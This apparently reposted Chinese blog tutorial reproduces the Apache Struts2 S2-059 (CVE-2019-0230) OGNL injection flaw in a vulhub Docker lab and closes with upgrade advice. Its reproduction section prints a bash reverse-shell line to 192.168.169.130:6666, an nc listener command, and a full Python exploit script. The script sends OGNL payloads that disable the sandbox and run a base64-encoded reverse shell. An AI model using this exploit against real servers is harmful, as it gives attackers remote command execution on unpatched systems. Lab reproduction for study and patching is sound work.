怎么实现struts2 s2-059远程代码执行漏洞CVE-2019-0230的分析

这篇文章给大家介绍怎么实现struts2 s2-059远程代码执行漏洞CVE-2019-0230的分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

2020年,struts2爆出了s2-059预警,最近又出现了s2-061,S2-061和S2-059的OGNL表达执行触发方式一样。S2-059的修复方式为只修复了沙盒绕过并没有修复OGNL表达式执行点,因为这个表达式执行触发条件过于苛刻,而S2-061再次绕过了S2-059的沙盒。在这里我用s2-059进行测试。

1.简介

Struts2 是 Apache 软件组织推出的一个相当强大的 Java Web 开源框架,本质上相当于一个 servlet。Struts2 基于 MVC 架构,框架结构清晰。通常作为控制器(Controller)来建立模型与视图的数据交互,用于创建企业级 Java web 应用程序,它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。

2.漏洞概述

2020年08月13日,Apache官方发布了Struts2远程代码执行漏洞的风险通告,该漏洞编号为CVE-2019-0230,漏洞等级:高危,漏洞评分:8.5

漏洞产生的主要原因是因为Apache Struts框架在强制执行时,会对分配给某些标签属性(如id)的属性值执行二次ognl解析。攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。

3.影响版本

Apache Struts2:2.0.0-2.5.20

4.环境搭建

4.1本次漏洞环境使用vulhub快速搭建,vulhub下载地址如下:

https://github.com/vulhub/vulhub

将vulhub-master.zip解压后复制到kali里。

cd vulhub-master/

怎么实现struts2 s2-059远程代码执行漏洞CVE-2019-0230的分析

cd  struts/

怎么实现struts2 s2-059远程代码执行漏洞CVE-2019-0230的分析

cd  s2-059

怎么实现struts2 s2-059远程代码执行漏洞CVE-2019-0230的分析

4.2使用docker-compose快速构建靶场环境。

docker-compose build

docker-compose up -d

怎么实现struts2 s2-059远程代码执行漏洞CVE-2019-0230的分析

4.3启动完成后在浏览器访问http://ip:8080/ 就可以看到测试界面。

怎么实现struts2 s2-059远程代码执行漏洞CVE-2019-0230的分析

5.漏洞复现

5.1在浏览器访问http://ip:8080/?id=%25{2*5},可以发现执行的2*5成功被解析了,会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析。

怎么实现struts2 s2-059远程代码执行漏洞CVE-2019-0230的分析怎么实现struts2 s2-059远程代码执行漏洞CVE-2019-0230的分析

5.2使用poc来反弹shell,反弹shell的payload需要使用base64编码。

bash -i >& /dev/tcp/192.168.169.130/6666 0>&1

base64编码网址:

http://www.jackson-t.ca/runtime-exec-payloads.html

怎么实现struts2 s2-059远程代码执行漏洞CVE-2019-0230的分析

5.3kali里执行nc -lvvp 6666进行监听。

怎么实现struts2 s2-059远程代码执行漏洞CVE-2019-0230的分析

5.4将payload修改为自己的payload后复制到文本里,重命名为1.py。利用python运行。

import requests url = "http://127.0.0.1:8080" data1 = {     "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}" } data2 = {     "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2OS4xMzAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}'))}" } res1 = requests.post(url, data=data1)

res2 = requests.post(url, data=data2)

怎么实现struts2 s2-059远程代码执行漏洞CVE-2019-0230的分析

怎么实现struts2 s2-059远程代码执行漏洞CVE-2019-0230的分析

5.5反弹shell

怎么实现struts2 s2-059远程代码执行漏洞CVE-2019-0230的分析

怎么实现struts2 s2-059远程代码执行漏洞CVE-2019-0230的分析

6.修复建议

6.1升级到Struts 2.5.22或更高版本。

6.2开启ONGL表达式注入保护措施。

关于怎么实现struts2 s2-059远程代码执行漏洞CVE-2019-0230的分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。